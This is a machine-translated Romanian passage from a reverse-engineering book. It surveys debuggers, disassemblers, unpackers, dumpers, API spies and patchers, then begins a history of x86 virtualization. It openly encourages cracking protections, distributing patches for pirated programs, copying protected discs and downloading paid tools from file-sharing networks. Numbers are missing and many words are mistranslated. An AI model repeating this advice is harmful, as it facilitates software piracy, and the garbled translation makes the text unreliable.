Chris Kaspersky, Eva Rocco ,Cumpără ® in absenta DMSASSAMBLARE Prezentare generală a instrumentelor de hacking pentru Windows și Linux Tehnici de lucru cu depanatoare și dezasamblatoare Dezasamblarea practică și identificarea structurilor cheie ale limbajelor de nivel înalt Mecanisme de protecție și metode de ocolire a acestora Trucuri anti-depanare si lupta cu ei Obscurcarea codului și cum să o depășiți cg ARTA DEZAMĂRII © Kaspersky K , Rocco E , © Design, editura „BHV-Petersburg”, MULȚUMIRI Chris Kaspersky Eve Rocco Echipa de publicare: Redactor-șef Ekaterina Kondukova redactor-șef Natalia Tarkova Editat de Grigory Dobin Editor Olga Kokoreva Verificări computer Natalia Karavaeva Coritor Viktoriya Piotrovskaya Design coperta Elena Belyaeva Șef produs de Nikolay Tverskikh RECENZIE DE CARTE Cartea este dedicată problemelor și metodelor de dezasamblare, a căror cunoaștere vă va permite să vă protejați eficient programele și să creați coduri de program mai optimizate Sunt explicate modalitățile de identificare a construcțiilor limbajelor de nivel înalt precum C/C++ și Pascal, sunt prezentate diferite abordări ale reconstrucției algoritmilor O prezentare generală a instrumentelor de hacking populare pentru Windows, UNIX și Linux - depanatoare, dezasamblatoare, editori hexazecimali, spioni API și RPC și emulatori Se are în vedere studiul depozitelor de memorie, mecanismelor de protecție, codului de program rău intenționat - viruși și exploatări Se acordă atenție contracarării tehnicilor anti-depanare DESCRIERE CD Pe CD veți găsi materiale însoțitoare menite să vă ajute să stăpâniți principiile dezasamblarii și cercetării codului Materialele pentru fiecare capitol sunt grupate în dosare, numerotate în funcție de numerele capitolelor Conținutul fiecărui folder arată astfel: □ Subfolder LISTĂRI - listări dezasamblate și depozite, numerotate în ordinea corespunzătoare numerotării listărilor din capitol □ Subfolder SRC - Codul sursă pentru aplicațiile și exemplele abordate în carte □ Subfolder SUPLIMENTAR - materiale suplimentare pentru capitolul corespunzător Scanarea și traducerea cărții în format BJVu a fost susținută de PvLLTSI Versiunea electronică a acestei cărți este destinată doar în scopuri educaționale! Introducere Cartea pe care o ții acum în mâini deschide ușa către lumea minunată a ingineriei inverse a mecanismelor de apărare Se adresează tuturor celor care iubesc puzzle-urile și sunt gata să facă primii pași pentru a deveni un adevărat hacker Oricine își petrece timpul liber (și nu liber) săpandu-se în măruntaiele programelor și a sistemului de operare În cele din urmă, tuturor celor care, prin natura muncii lor, se angajează (permanent sau ocazional) în apărarea scrisă și doresc să învețe cum să reziste în mod competent și fiabil hackerilor omniprezenti Cartea este dedicată ingineriei inverse - poate cel mai dificil aspect al hacking-ului, deoarece dezasamblarea este o artă Cu toate acestea, autorii au făcut toate eforturile pentru a structura materialul în așa fel încât prezentarea să fie construită logic, iar cititorul, stăpânind arta dezasamblarii, mutata „de la simplu la complex” La începutul cărții sunt subliniate bazele de bază ale hackingului - tehnica de lucru cu depanatoare, dezasamblatoare, editori hexazecimali, spioni API și RPC și emulatori Este oferită o privire de ansamblu asupra instrumentelor de hacking populare pentru Windows, UNIX și Linux, precum și tehnici practice de lucru cu depanatoare populare (SoftICE, OllyDbg, WinDbg), de la binecunoscute la netradiționale Sunt descrise în detaliu tehnici de identificare și reconstrucție a structurilor cheie ale limbajului sursă — funcții (inclusiv cele virtuale), variabile locale și globale, ramificare, bucle, obiecte și ierarhiile acestora, operatori matematici etc analiza algoritmului programelor studiate și explică cum să nu te pierzi în megaocteții de cod dezasamblat și să eviți diverse capcane dificile O atenție considerabilă este acordată unor subiecte atât de importante precum reconstrucția algoritmilor pentru funcționarea mecanismelor de apărare, identificarea structurilor cheie în limbaje de nivel înalt precum C/C++ și Pascal Sunt luate în considerare metode practice de depășire a tehnicilor anti-depanare, tehnici de descărcare a aplicațiilor protejate, depășirea packerilor și a protectorilor Exemple practice demonstrează metode de analiză a codului de programe rău intenționate și exploit-uri Subiecte atât de importante precum contracararea tehnicilor anti-depanare, studiul codului ambalat, criptat și obscurcat în mod deliberat (Obfuscated), precum și alte tehnologii care îngreunează dezasamblarea și otrăvirea vieții hackerilor nu au fost lăsate fără atenție PARTEA I REVIZUIRE SOFTWARE HACKER Capitolul trusa de instrumente pentru hacker De unde începe hacking-ul? Unii vor spune - de la învățarea C/C++, limbajul de asamblare, învățarea artei depanării și dezasamblarii Și vor avea dreptate Alții vor adăuga la această „listă de gentleman” studiul arhitecturii diferitelor sisteme de operare, protocoale de rețea și căutarea vulnerabilităților Și vor avea și ei dreptate Dar, pe de altă parte, cum obțin hackerii rezultate? Așa este, prin cunoștințe și muncă asiduă Dar, în același timp, nu lucrează doar cu mâinile și cu capul, ci folosesc și instrumente de hacker Și selecția corectă a programelor este foarte importantă, deoarece acestea formează conștiința, permițând începătorului să facă primii pași în pădurea deasă a codurilor mașinilor Dar există atât de multe dintre aceste programe încât un începător care ajunge pentru prima dată pe un site de hacker este complet în pierdere - ce să descarce și ce nu merită atenție Scopul principal al acestui capitol este tocmai acela de a oferi o imagine de ansamblu extrem de concisă a software-ului de hacking care acoperă aproape orice nevoie Notă Pe lângă perseverența și dorința de a căuta în mod independent răspunsuri la întrebările emergente, expresia „Cunoaște-te și iubește-ți instrumentele” ar trebui să devină motto-ul oricărui hacker De regulă, un manual de utilizare este furnizat cu oricare dintre aceste programe și acestea manualele sunt insistent recomandate pentru a le studia cu atenție Depanatoare Cel mai bun depanator din toate timpurile este, desigur, SoftICE, pe care au crescut mai mult de o generație de hackeri Este un program interactiv cu o interfață de comandă bogată, care reprezintă un compromis între ușurința de învățare și ușurința de utilizare (Figura ) Cu alte cuvinte, citirea manualului este indispensabilă aici, mai ales că SoftICE nu oferă meniuri intuitive Creat inițial de NuMega, SoftICE a fost vândut către Compuware, care pentru o lungă perioadă de timp l-a distribuit ca parte a pachetului greu de manevrat DriverStudio Framework Spre profundă dezamăgire, pe aprilie , din motive obscure, compania a anunțat încetarea lucrărilor la produs, îngropând astfel cel mai inedit proiect Cea mai recentă versiune de DriverStudio acceptă întreaga linie Windows până la Server , precum și arhitectura „Ghidul utilizatorului SoftICE” detaliat în traducere rusă este aici http://www podgoretsky com/ftp/Docs/softice/siug pdf De asemenea, un tutorial scurt, dar foarte util despre utilizarea SoftICE pentru a începe rapid cu acest depanator, poate fi găsit la http://www reconstructer org/papers/The% big% SoftICE% howto pdf Partea I Prezentare generală a programelor de hacking AMD x - Adică, SoftICE ar trebui să aibă în continuare suficientă marjă de siguranță timp de cinci ani, iar apoi hackerii vor veni cu ceva Orez SoftICE este un depanator orientat profesional care a crescut generații de hackeri Puteți găsi SoftICE pe aproape orice site de hackeri (de exemplu, aici: http://www woodmann com/crackz/Tools htm) Pentru a nu descărca întregul pachet DriverStudio, puteți folosi pachetul DeMoNiX (http://reversing kulichki net), care conține doar SoftICE extras din DriverStudio ѵ build Acest pachet are doar , MB Cu toate acestea, programul de instalare conține erori, iar versiunea veche nu acceptă noile tendințe Microsoft (deși funcționează excelent sub Windows ) Alături de SoftICE, este recomandabil să instalați imediat IceExt (http://sourceforge net/projects/iceext) - o extensie neoficială care vă permite să ascundeți prezența depanatorului de majoritatea protecțiilor, să salvați depozitele de memorie, să activați codificări chirilice / , suspendați fire și efectuați multe alte sarcini importante (Figura ) Dacă IceExt refuză să pornească, ajustați următoarele chei în această ramură de registry: HKLM\SYSTEM\CurrentControlSet\Services\NTice: KDHeapSize (DWORD): x ; KDStackSize (DWORD): x O altă extensie neoficială pentru SoftICE, IceDump (http://programnierstools org/systeni/fîles?file=icedump zip), face, de asemenea, o mulțime de lucruri utile și completează frumos IceExt (Figura ) În acest moment, depanatorul comercial Syser Debugger pretinde că este un succesor adecvat al SoftICE, despre care vom discuta puțin mai târziu Dacă sunteți interesat de Eagle Source debugger, atunci poate că atenția dvs va fi atrasă de proiectul Rasta Ring Debugger (http://rrOd droids-corp org/) Capitolul Trusa de instrumente pentru hacker Orez Dumping cu IceExt Orez Dumping cu IceDump Partea I Prezentare generală a programelor de hacking Orez Syser Debugger depanează un driver de fuziune Capitolul Trusa de instrumente pentru hacker nouă Apropo, SoftICE în sine funcționează excelent sub o mașină virtuală VMware, pentru aceasta este suficient să adăugați următoarele două linii la fișierul de configurare cu extensia vthx: paevm = TRUE și procesorl use = FALSE Notă Unele probleme au fost, de asemenea, observate la rularea SoftICE pe procesoare multi-core și activate pentru HyperThreading (deși apar intermitent) Puteți rezolva aceste probleme dacă apar adăugând comutatorul /onecpu la fișierul boot ini Pe lângă SoftICE, există și alte aplicații de depanare, dintre care aș dori să menționez sistemul de operare gratuit Debugger (http://www ollydbg de) Acesta este un instrument util la nivel de aplicație (Fig ), axat pe nevoile hackerilor, care sprijină mecanismul de plugin (plug-in-uri) și care adună în jurul său o întreagă comunitate care a scris multe extensii și suplimente minunate care ascund OllyDbg de protecții care determină automat punctul de intrare inițial într-un program pachet care facilitează îndepărtarea protectorilor etc Colecții bune de pluginuri pot fi găsite la http://www wasm ru și http://www openrce org Cel mai recent (și încă în mare măsură experimental) depanator nuclear este, fără îndoială, Syser (http://www sysersoft com) Acest depanator a fost lansat de dezvoltatorii chinezi și se află în prezent într-o etapă de dezvoltare și formare activă (Fig ) După cum am menționat puțin mai devreme, acest depanator pretinde a fi succesorul SoftICE Cea mai recentă versiune (v , din mai ) funcționează cu versiuni pe de biți ale Windows /XP/ /Vista și oferă, de asemenea, suport pentru procesoare SMP, HyperThreading și multi-core Destul de mulți programatori folosesc depanatorul Microsoft WinDbg la nivel de kernel, care face parte din instrumentele gratuite de depanare (http://www microsoft com/whdc/devtools/debugging/debugstart mspx) Este destul de potrivit pentru hacking (Fig ) Cu toate acestea, majoritatea hackerilor care sunt obișnuiți cu ecranul negru SoftICE îl consideră incomod Orez WinDbg Debugger Partea I Prezentare generală a programelor de hacking Dezasamblatoare Există un singur dezasamblator potrivit pentru munca cu adevărat profesională - UA Pro (http://www idapro com) Acest dezasamblator are versiuni de consolă (Fig ) și grafice (Fig ) DA Pro acceptă un număr mare de formate de fișiere și multe tipuri de procesoare, făcând față cu ușurință codului de octeți al mașinilor virtuale Java și NET, acceptă macrocomenzi, pluginuri și scripturi, conține un depanator integrat, funcționează sub MS-DOS, Windows, Linux ( Fig ) și are capacitatea unică de a recunoaște numele funcțiilor standard de bibliotecă din semnăturile lor Există mai multe versiuni de IDA Pro - gratuit (freeware), standard (standard) și extins (avansat) Versiunea gratuită a IDA Pro poate fi descărcată de la http://www dirfile com/ida pro freeware version htm Este de remarcat, însă, că versiunea gratuită, în comparație cu versiunea standard și extinsă, are caracteristici limitate Dintre toate arhitecturile de procesor, doar x este acceptat, iar funcția de suport pentru plug-in pur și simplu nu este disponibilă În ceea ce privește versiunile standard și extinse, acestea, ca orice software bun, sunt scumpe (deși dacă căutați bine în rețelele de partajare a fișierelor, le puteți lua gratuit) Principalul avantaj al IDA Pro este că este un dezasamblator interactiv, adică un instrument inteligent care vă permite să lucrați cu un fișier binar, să gândiți și să creați, și nu un automat prost care înghite programul studiat și scuipă un " gata" listare dezasamblată în care totul este dezasamblat incorect Orez Versiunea de consolă a IDA Pro Capitolul Trusa de instrumente pentru hacker unsprezece Orez Versiunea grafică a IDA Pro Orez IDA Pro pentru Linux Partea I Prezentare generală a programelor de hacking În cele mai recente versiuni ale IDA Pro, s-au făcut unele progrese către despachetarea automată a fișierelor și eliminarea obfuscatorilor O colecție impresionantă de plugin-uri și scripturi poate fi găsită atât pe site-ul oficial, cât și la http://www openrce org Produsele concurente nu se potrivesc cu IDA Pro Cu toate acestea, oamenii descarcă în mod activ un dezasamblator gratuit (acum abandonat) cu funcții de depanare - W Dasm (http://www wasm ru/baixado php?mode=tool&id= ) și, aparent, sunt mulțumiți (Fig ) Orez Dezasamblator WDASM Restul dezasamblatoarelor sunt și mai limitate și, prin urmare, nu sunt acoperite aici Singurul produs de acest fel care merită menționat este Hacker Disassembler Engine (http://patkov-site narod ru/lib html), care este un dezasamblator de lungime distribuit în cod sursă și conceput pentru a fi încorporat în diferite programe de hacker care se ocupă de interceptarea funcțiilor, despachetarea automată, generarea de cod polimorf etc Decompilatoare Decompilarea este procesul de obținere a codului sursă al unui program (sau ceva foarte asemănător cu acesta) dintr-un fișier binar În întregime, decompilarea este fundamental imposibilă, deoarece compilarea este un proces unidirecțional, în plus, cu pierdere de date Cu toate acestea, decompilatorii încă există și își fac față în mod adecvat sarcinii lor Informații mai detaliate despre despachetarea fișierelor, îndepărtarea protectoarelor și a obfuscatorilor pot fi găsite în partea a V-a a acestei cărți Capitolul Trusa de instrumente pentru hacker Pentru programele scrise în Delphi și Borland Builder folosind RTTI, este posibil să se restabilească structura inițială a clasei până la numele funcțiilor membre, precum și să se reconstruiască formele și să se „calculeze” adresele handlerelor fiecăruia dintre elemente Să presupunem că avem o casetă de dialog Înregistrare cu un buton OK și vrem să știm care procedură citește numărul de serie și ce face cu el Nu este nimic mai ușor! Luăm decompilatorul gratuit DeDe (http://programmerstools org/node/ ), decompilăm programul și mergem (Fig )! Visual Basic are propriile decompilatoare, dintre care cel mai bun este VB Decompiler de la GPcH (http://www vb-decompiler org/index php psProducts) Alte decompilatoare de bază, inclusiv VB RezQ (http://www vbrezq com/), VBDE (http://programmerstools org/node/ ) și Spices Decompiler (http://programmerstools org/node/ ) ) este, de asemenea, un loc bun de pus în geanta hackerului Decompilerele programelor de instalare prezintă un interes deosebit, deoarece multe verificări (pentru expirarea versiunii demo, pentru un număr de serie sau un fișier cheie) sunt făcute doar în etapa de instalare Cel mai popular program de instalare este InstalIShield Există multe decompilatoare convenabile pentru el Iată doar câteva dintre ele: D" InstallShield X Unpacker (http://programmerstools org/node/ ) D" Windows InstallShield Decompiler (http://programmerstools org/node/ ) D" InstallShield Decompiler (http://programmerstools org/node/ ) P isDcc (http://programmerstools org/node/ ) În ceea ce privește Java și platforma NET, IDA Rgr face o treabă grozavă cu ele Dacă nu aveți la îndemână IDA Pro, puteți folosi decompilatoare specializate care pot fi găsite pe site-urile http://www cracklab ru și http://www wasm ru împreună cu Fox Pro, Clipper și alte exotice decompilatoare Editori hexadecimale Cu mult timp în urmă, editorii hexadecimal (editori hexadecimal) erau programe simple care puteau afișa numai fișiere binare în hexazecimal și edita octeți Partea I Prezentare generală a programelor de hacking dumneavoastră la adresele indicate Cu toate acestea, de-a lungul timpului, au achiziționat dezasamblatoare, asamblatoare, calculatoare încorporate, funcții de căutare a expresiilor obișnuite, au învățat cum să lucreze cu blocuri, să recunoască diferite formate de fișiere și chiar să decripteze/cripteze codul sau fragmentele de date În general, s-au transformat într-un fel de cuțite elvețiene cu șaisprezece lame Cel mai popular a fost HIEW (http://webhostkemtel ru/~sen) Până la versiunea (suporta formatele MZ/PE/NE/LE/ELF), a fost distribuit gratuit (Fig ) Cu toate acestea, merită remarcat faptul că versiunile vechi și gratuite au suficiente funcții și, de asemenea, conțin mult mai puține erori și erori Apropo, Norton Disk Editor a fost adesea folosit în schimb Capitolul Trusa de instrumente pentru hacker cincisprezece Orez Editor comercial hexagonal WinHex Orez Editor comercial hex Atelier Hex Partea I Prezentare generală a programelor de hacking Un alt editor bun, nu numai că nu este inferior HIEW, dar chiar și superior în capacitățile sale, este HTE (http://hte sourceforge net), care este distribuit gratuit în codurile sursă Spre deosebire de HIEW, HTE vă permite să alegeți modul în care este asamblată instrucțiunea (dacă instrucțiunea poate fi asamblată în mai multe moduri) și, de asemenea, acceptă un sistem puternic de referințe încrucișate care o aduce foarte aproape de versiunea gratuită a IDA Pro (Fig ) ) Hackerii occidentali sunt foarte pasionați de editorii hex comerciali precum WinHex (http://www winhex com/winhex/index-m html) și Hex Workshop (http://www bpsoft com) Nu este clar ce au găsit atrăgător la ei Nici WinHex (Figura ) și nici Hex Workshop (Figura ) nu conțin vreun asamblator sau dezasamblator și este puțin probabil ca aceste caracteristici să apară în viitor Singura calitate pozitivă a acestor editori care poate fi remarcată este prezența unui calculator de sumă de control și sumă hash (de exemplu, CRC , CRC , MD , SHA- ), care în unele cazuri se dovedește a fi foarte convenabil Despachetari Tot mai multe programe sunt distribuite sub formă de pachete (sau protejate de protectori, ceea ce este și mai rău) Ca urmare, dezasamblarea directă a unor astfel de programe devine imposibilă În cele din urmă, deoarece multe ambalaje/protectoare conțin trucuri anti-depanare, depanarea are de suferit Încercările de a crea un dispozitiv de despachetare universal au fost făcute de multe ori încă de pe vremea MS-DOS De fiecare dată, aceste încercări s-au încheiat cu un eșec total, deoarece dezvoltatorii de apărare au venit cu noroi noi Cu toate acestea, majoritatea instrumentelor de hacking (IDA Pro, OllyDbg) includ dispozitive de despachetare universale care pot face față unor protecții simple În ceea ce privește protecțiile complexe, atunci când se confruntă cu una dintre ele, un hacker este forțat să despacheteze manual fișierul protejat Partea a V-a a acestei cărți va trata această problemă mai detaliat Între timp, observăm că atunci când același packer este întâlnit de un hacker pentru a zecea oară la rând, acesta se așează să scrie un despachetator automat sau semi-automat pentru a-și ușura munca Colecții de astfel de utilități sunt disponibile la http://www exetools com/unpackers htm, http://programmerstools org/taxonomy/term/ , http://www woodmann com/crackz/Packers htm Problema principală este că fiecare astfel de dispozitiv de despachetare este proiectat pentru o versiune strict definită a dispozitivului de ambalare/protector și pur și simplu nu poate funcționa cu alții! Cu cât dispozitivul de ambalare/protector este actualizat mai des, cu atât este mai dificil să găsești un dispozitiv de despachetare potrivit, așa că este mai bine să te bazezi doar pe tine Apropo, înainte de a căuta un despachetător, ar fi bine să aflăm mai întâi: cum este protejat programul stricat în general? Utilitarul gratuit PEiD (http://peid has it), care conține o bază de date uriașă de semnături, vă va ajuta în acest sens Deși acest program este destul de des greșit sau dă rezultate vagi, dar, cu toate acestea, este mai bine decât nimic Amortizoare Eliminarea unei gropi dintr-un program care rulează este o metodă universală de despachetare care vă permite să faceți față cu aproape orice ambalator și cu majoritatea protectorilor Adevărat, groapa rezultată trebuie încă lucrată în mod corespunzător, așa că este recomandat să folosiți astfel de gropi numai pentru dezasamblare Un program rupt în acest fel poate funcționa instabil, blocându-se periodic în cel mai crucial moment Ce fel de amortizoare ai la dispoziție? Primul (și cel mai neîndemânatic) utilitar din această clasă a fost ProcDump (http://www fortunecity com/millenium/firemansam/ /html/procdump html) Apoi a venit dumperul Lord PE (http://www softpedia com/get/Programming/File-Editors/LordPE shtml), ținând cont de experiența amară a predecesorului său și capabil de Capitolul salvați dump-ul chiar și în cazurile în care antetul fișierului PE este distorsionat în mod deliberat de protecție, iar accesul la unele pagini de memorie lipsește (atributul page noaccess) Coroana evoluției a fost dumperul PE Tools (Fig ), al cărui kit de distribuție de bază poate fi găsit pe aproape orice server de hacker, de exemplu, pe WASM (http://www wasm ru/baixado php? mode=tool&id= ) sau pe CrackLab (http://www cracklab ru/download php?action=get&n=MTUl), iar cele mai recente actualizări sunt pe site-ul „nativ” al proiectului http://petools org ru/petools shtml Notă Site-ul „nativ” al proiectului își schimbă adesea adresa Orez PE Tools este unul dintre cele mai bune basculante de fișiere PE După dumping, trebuie să restaurați cel puțin tabelul de import și, uneori, și tabelul elementelor relocate împreună cu secțiunea de resurse Tabelul de import este cel mai bine restaurat cu faimosul utilitar Import REConstructor, care, împreună cu utilitarul ReloX (care restaurează tabelul elementelor relocabile) și un dezambalaj universal care funcționează minim, poate fi găsit la: http://wave prohosting com /mackt/main htm Și iată o colecție de programe pentru restaurarea tabelului de resurse: http://www wasm ru/baixado php?mode=tool&id= Dacă niciunul dintre aceste utilitare nu poate face față sarcinii sale, atunci poate că programul gratuit Resource Binder va ajuta: http://www setisoft com/en/ redirect php?dlid= Editori de resurse Resursele trebuie editate în multe cazuri De exemplu, pentru a schimba textul unei casete de dialog, a debloca un control, a înlocui sigla etc În mod oficial, editorul de resurse este inclus în fiecare compilator Windows, inclusiv Microsoft Visual Studio Doar asta optsprezece Partea I Prezentare generală a programelor de hacking după editarea resurselor, fișierul devine adesea inoperabil! Acest lucru se întâmplă deoarece editorul obișnuit de resurse nu este potrivit pentru astfel de sarcini! Cel mai bun editor pentru hackeri a fost și rămâne editorul de resurse comercial Restorator (http://www bome com/Restorator), care poate face aproape tot ce aveți nevoie și chiar puțin mai mult (Fig ) Dintre utilitarele gratuite, în primul rând aș dori să remarc Editorul de resurse XN (http://www wilsonc demon co uk/dlOresourceeditor htm), scris în Delphi și distribuit în cod sursă, care vă permite să crește funcționalitatea programului Orez Editarea resurselor în Editorul de resurse Restorator spionii Sunt utilizate în principal două tipuri de spioni - spionii de mesaje Windows și spionii API Primii monitorizează trimiterea mesajelor către ferestre și controale, cei din urmă monitorizează apelarea funcțiilor API, inclusiv funcțiile exportate de bibliotecile dinamice furnizate cu programul Spionajul este cel mai bun (și cel mai ieftin – ca efort și timp) mijloc de a afla cu ce „respiră” un program protejat Un mesaj spion demn, numit Spyxx exe, vine standard cu Microsoft Visual Studio Un spion cu capacități similare, dar numai cu texte open source, se află la http://www catch net/software/winspy asp și este complet gratuit (Fig ) Dintre spionii API, cel mai bun este Kerberos (http://www wasm ru/baixado php?mode=tool&id= ) de Rustem Fassikhov, care a preluat tastatura când restul spionilor nu i-a mai convenit (Fig ) Cu toate acestea, gusturile diferă, iar mulți programatori folosesc utilitarul APISpy (la fel de gratuit ca și Kerberos), care poate fi obținut de la http://www internals com Cu toate acestea, orice depanator normal (de exemplu, SoftICE, OllyDbg) poate fi configurat să acționeze ca un spion API, acționând după un model foarte selectiv care ne scutește de a vizualiza mulți kilometri de listări generate de Kerberos și APlSpy Cum se realizează acest lucru va fi discutat mai detaliat în Capitolul Capitolul Trusa de instrumente pentru hacker nouăsprezece Orez Spionarea mesajelor Windows cu WinSpy gratuit Orez Spionul API Kerberos de Rustem Fasikhov Monitoare Pentru a afla ce fișiere sau ramuri de registry accesează programul experimental, este suficient să folosiți monitorul de fișiere Filemon exe (Fig ) și respectiv monitorul de registry Regmon exe (Fig ) Ambele utilitare au fost scrise de legendarul explorator Windows Mark Russinovich și au fost distribuite multă vreme împreună cu codurile sursă complet gratuit prin site-ul non-comercial http://www sysinternals com Cu toate acestea, în iunie , fondatorii site-ului Mark Russinovich și Bryce Cogswell au devenit angajați ai Microsoft Deși utilitățile lor promit să rămână gratuite în viitor, cel mai probabil vor fi gratuite doar pentru utilizatorii legali de Windows, așa că grăbiți-vă și descărcați-le cât puteți (http://www microsoft com/technet/sysinternals/defaultmspx) douăzeci Partea I Prezentare generală a programelor de hacking Orez Registry Monitor de Mark Russinovici Capitolul Trusa de instrumente pentru hacker Modificatori Există două abordări diametral opuse ale programelor de hacking Cel mai dificil (dar în același timp cel mai corect din punct de vedere ideologic și mai puțin pedepsit) este crearea propriilor generatoare de numere de serie, fișiere cheie etc După ce a analizat cum funcționează generatorul original, hackerul scrie exact la fel Cu toate acestea, acest lucru este prea plictisitor, mai ales că majoritatea protecțiilor sunt neutralizate prin editarea câțiva octeți Dar nu puteți distribui fișierul piratat Pentru asta pot da o laba În plus, de regulă, fișierele executabile și DLL-urile sunt prea greoaie, așa că apare o idee firească - să distribuiți nu fișierul spart în sine, ci o listă de octeți cu adrese care trebuie remediate Desigur, utilizatorul obișnuit nu va repara programul cu HIEW, așa că automatizarea vine în ajutor Pentru a obține o listă a diferențelor dintre fișierele originale și cele piratate, utilitarul fc exe, care este inclus în kitul de distribuție standard Windows, vă va ajuta Pentru a face corecții la un fișier executabil sau DLL, aveți nevoie de un utilitar modificator care poate fi scris în doar câteva minute O colecție de modificatori gata de utilizare se găsește aici: http://www wasm ru/baixado php?mode=tool&id= Situația devine mai complicată dacă programul este ambalat sau protejat de un protector În acest caz, trebuie editat din mers, direct în RAM În acest scop, utilitățile Process Patcher (http://www wasm ru/baixado php?mode=tool&id= ), RISC Process Patcher (http://www wasm ru/baixado php?mode= tool&id= ) sau *ABEL* Seif Leaming Loader Generator (http://www wasm ru/baixado php?mode=tool&id= ) Ultimul program diferă prin aceea că caută octeți care să fie fixați nu prin decalaje fixe, ci după modele obișnuite, ceea ce îi permite în cele mai multe cazuri să supraviețuiască lansării unei noi versiuni ușor modificate a programului rupt (cu excepția cazului, desigur, modificările au afectat mecanismul de apărare în sine) Copiatori de discuri protejate Copierea discurilor protejate nu este deloc hackish, ci mult mai mult piraterie Cu toate acestea, toată lumea trebuie să se angajeze din când în când în această activitate, astfel încât aceste programe nu vor fi de prisos Câteva dintre cele mai bune copiatoare comerciale sunt, fără îndoială, Alcohol % (http://www alcohol-soft com) și CloneCD (http://www slysoft com/en/clonecd html) Utilitarul gratuit Daemon Tools (http://www daemon-tools cc) vă permite să montați imaginile luate de aceste două copiatoare ca discuri virtuale, ale căror imagini se află pe HDD Foarte confortabil! capitolul Emularea depanatoarelor și emulatoarelor Cu câțiva ani în urmă, principalele instrumente pentru hackeri erau dezasamblarea și depanarea Acum, li se adaugă emulatori, deschizând posibilități cu adevărat nelimitate pentru căpătorii de coduri, anterior disponibile doar companiilor mari și care apar acum în arsenalul oricărui cercetător Ce sunt emulatorii și ce anume deschid? Introducere în emulatori În termeni generali, emularea poate fi definită ca fiind capacitatea unui program sau dispozitiv de a imita funcționarea altui program sau dispozitiv De exemplu, în epoca trecerii de la computerele pe biți precum ZX Spectrum la un IBM PC XT / AT serios (la acea vreme), dezvoltatorii nostalgici care nu doreau să se despartă de vechea tehnologie au scris emulatori Emulatoarele au apărut ca ciupercile după ploaie și au permis tuturor să joace jocurile preferate, pentru care nu existau analogi directe pe PC-ul IBM Zece ani mai târziu, istoria s-a repetat: sistemele de operare ale familiei Windows NT, care a devenit standardul de facto, au blocat accesul direct la Hardware, iar % dintre jocuri au refuzat imediat să pornească (sau au pierdut sunetul) Răspunsul la aceasta a fost apariția DOSBox și a altor emulatori, permițând utilizatorilor să întoarcă timpul înapoi și să-și amintească de fosta tinerețe, trecută pe coridoarele sângeroase ale DOOM II Totuși, la R-Sh MHz, până și bunul bătrân Aladdin a mers la limită, cu cadre scăpate, ca să nu mai vorbim de jocurile mai serioase Creșterea puterii a fost neprofitabilă - a fost mai ușor să cumpărați un computer vechi, să instalați MS-DOS pe el și să vă bucurați de jocuri fără blocări bruște ale emulatorului, smucituri și frâne Ideea de a emula un PC IBM pe un PC IBM în sine nu s-a născut brusc și imediat, ci a câștigat imediat favoarea hackerilor, a administratorilor de sistem și a oamenilor doar curioși Prezentare istorică În urma apariției conceptului de multitasking, a apărut ideea de virtualizare, prezentată în de Gerald Popek (Gerald Popek) împreună cu Robert Goldberg (Robert Goldberg) și descrisă de aceștia în articolul „Formal Requirements for Virtualizable Third Generation” Arhitecturi” (http://doi acm org/ / ) Pentru a rula mai multe sisteme de operare în același timp, procesorul trebuie să accepte memoria virtuală și să aibă niveluri de privilegii separate în concordanță cu setul de instrucțiuni Un program numit Virtual Machine Monitor (VMM) rulează la cel mai înalt nivel de privilegii, interceptează execuția instrucțiunilor privilegiate (încercând să acceseze, de exemplu, memoria fizică sau porturile I/O) Capitolul Emularea depanatoarelor și emulatoarelor și emulează execuția lor Instrucțiunile neprivilegiate din această schemă sunt executate pe hardware-ul „kiev” fără pierderi de viteză Cu toate acestea, deoarece procentul de instrucțiuni privilegiate este relativ mic, suprasarcina de emulare poate fi complet neglijată Dintre toate computerele care existau la acel moment, doar IBM System / și Motorola MC îndeplineau aceste criterii Pe ei au fost implementați emulatori eficienți, permițând, în special, crearea de servere virtuale care să servească diferiți utilizatori sau pur și simplu să se dubleze unul pe altul În cazul unei defecțiuni bruște a unuia dintre servere, inițiativa este imediat preluată de un altul, iar pentru aceasta nu este absolut necesară păstrarea mai multor servere fizice! Rețineți că eșecul serverului în sine nu este luat în considerare, deoarece eșecurile în funcționarea sistemelor de operare apar mult mai des decât defecțiunile hardware Dar cum rămâne cu procesoarele din familia Intel ? Aceștia acceptă memoria virtuală și separarea privilegiilor pe patru inele de protecție Ce îi împiedică să implementeze un emulator cu drepturi depline, la fel ca pe IBM System / ? Din păcate, computerele din clasa „Big Iron” sunt apreciate pentru că designerii lor și-au abordat sarcina cu atenție și cu grijă! Dar nu puteți spune același lucru despre PC-ul IBM Să începem cu faptul că toate sistemele de operare care sunt disponibile pe PC-ul IBM își pun nucleele în inelul zero (ring ), care nu este acoperit de conceptul de comenzi privilegiate Prin urmare, monitorul mașinii virtuale nu le mai poate intercepta Adevărat, există o lacună - instalăm un sistem de operare, declarându-l de bază sau principal (gazdă) și pornim toate celelalte sisteme de operare în al treilea inel (inelul ) Apoi, instrucțiunile privilegiate vor genera excepții care sunt ușor de prins de monitorul mașinii virtuale care rulează în inelul zero Totuși, chiar și aici, nu totul este atât de ușor pe cât pare! Instrucțiunile lgdt, lldt și LIDT, care încarcă pointeri către segmente globale și locale și întrerup tabelele de descriptori în registrele interne ale procesorului, sunt complet nepotrivite pentru funcționarea simultană cu mai multe sisteme de operare, deoarece tabelele GDT (Global Descriptor Table), LDT (Local Descriptor Table) Table) și IDT (Interrupt Descriptor Table) există într-o singură instanță Tabelele de descriptori de segmente stochează adresele și atributele liniare ale fiecărui segment, descriptorul fiind un număr de biți încărcat în registrul de segment cs, ds, ss, etc Tabelul descriptor de întrerupere este același Sistemul de operare invitat nu poate folosi tabelele de descriptori „gazdă” din simplul motiv că selectoarele de registru de segmente sunt codificate în sistemul de operare însuși Astfel, dacă Windows încarcă selectorul h în registrul ds (și o face), atunci devine neclar ce să facă cu toate celelalte sisteme de operare Există o singură cale de ieșire - pentru fiecare dintre mașinile virtuale să creeze o copie separată a tabelelor de descriptori, comutându-le atunci când se trece de la o mașină virtuală la alta, ceea ce afectează grav performanța Dar asta e mai mult! Instrucțiunile sgdt/sldt și sidt care citesc registrele interne ale procesorului nu sunt privilegiate, determinând sistemul de operare invitat să citească tabelul descriptor al sistemului de operare gazdă în loc de al său! Același lucru este valabil și pentru instrucțiunea smsw, care citește valoarea cuvântului de control al procesorului, care, în special, include biți din registrul CR , care este invizibil pentru sistemul de operare invitat care rulează în al treilea inel Instrucțiunile popf/popfd stochează conținutul 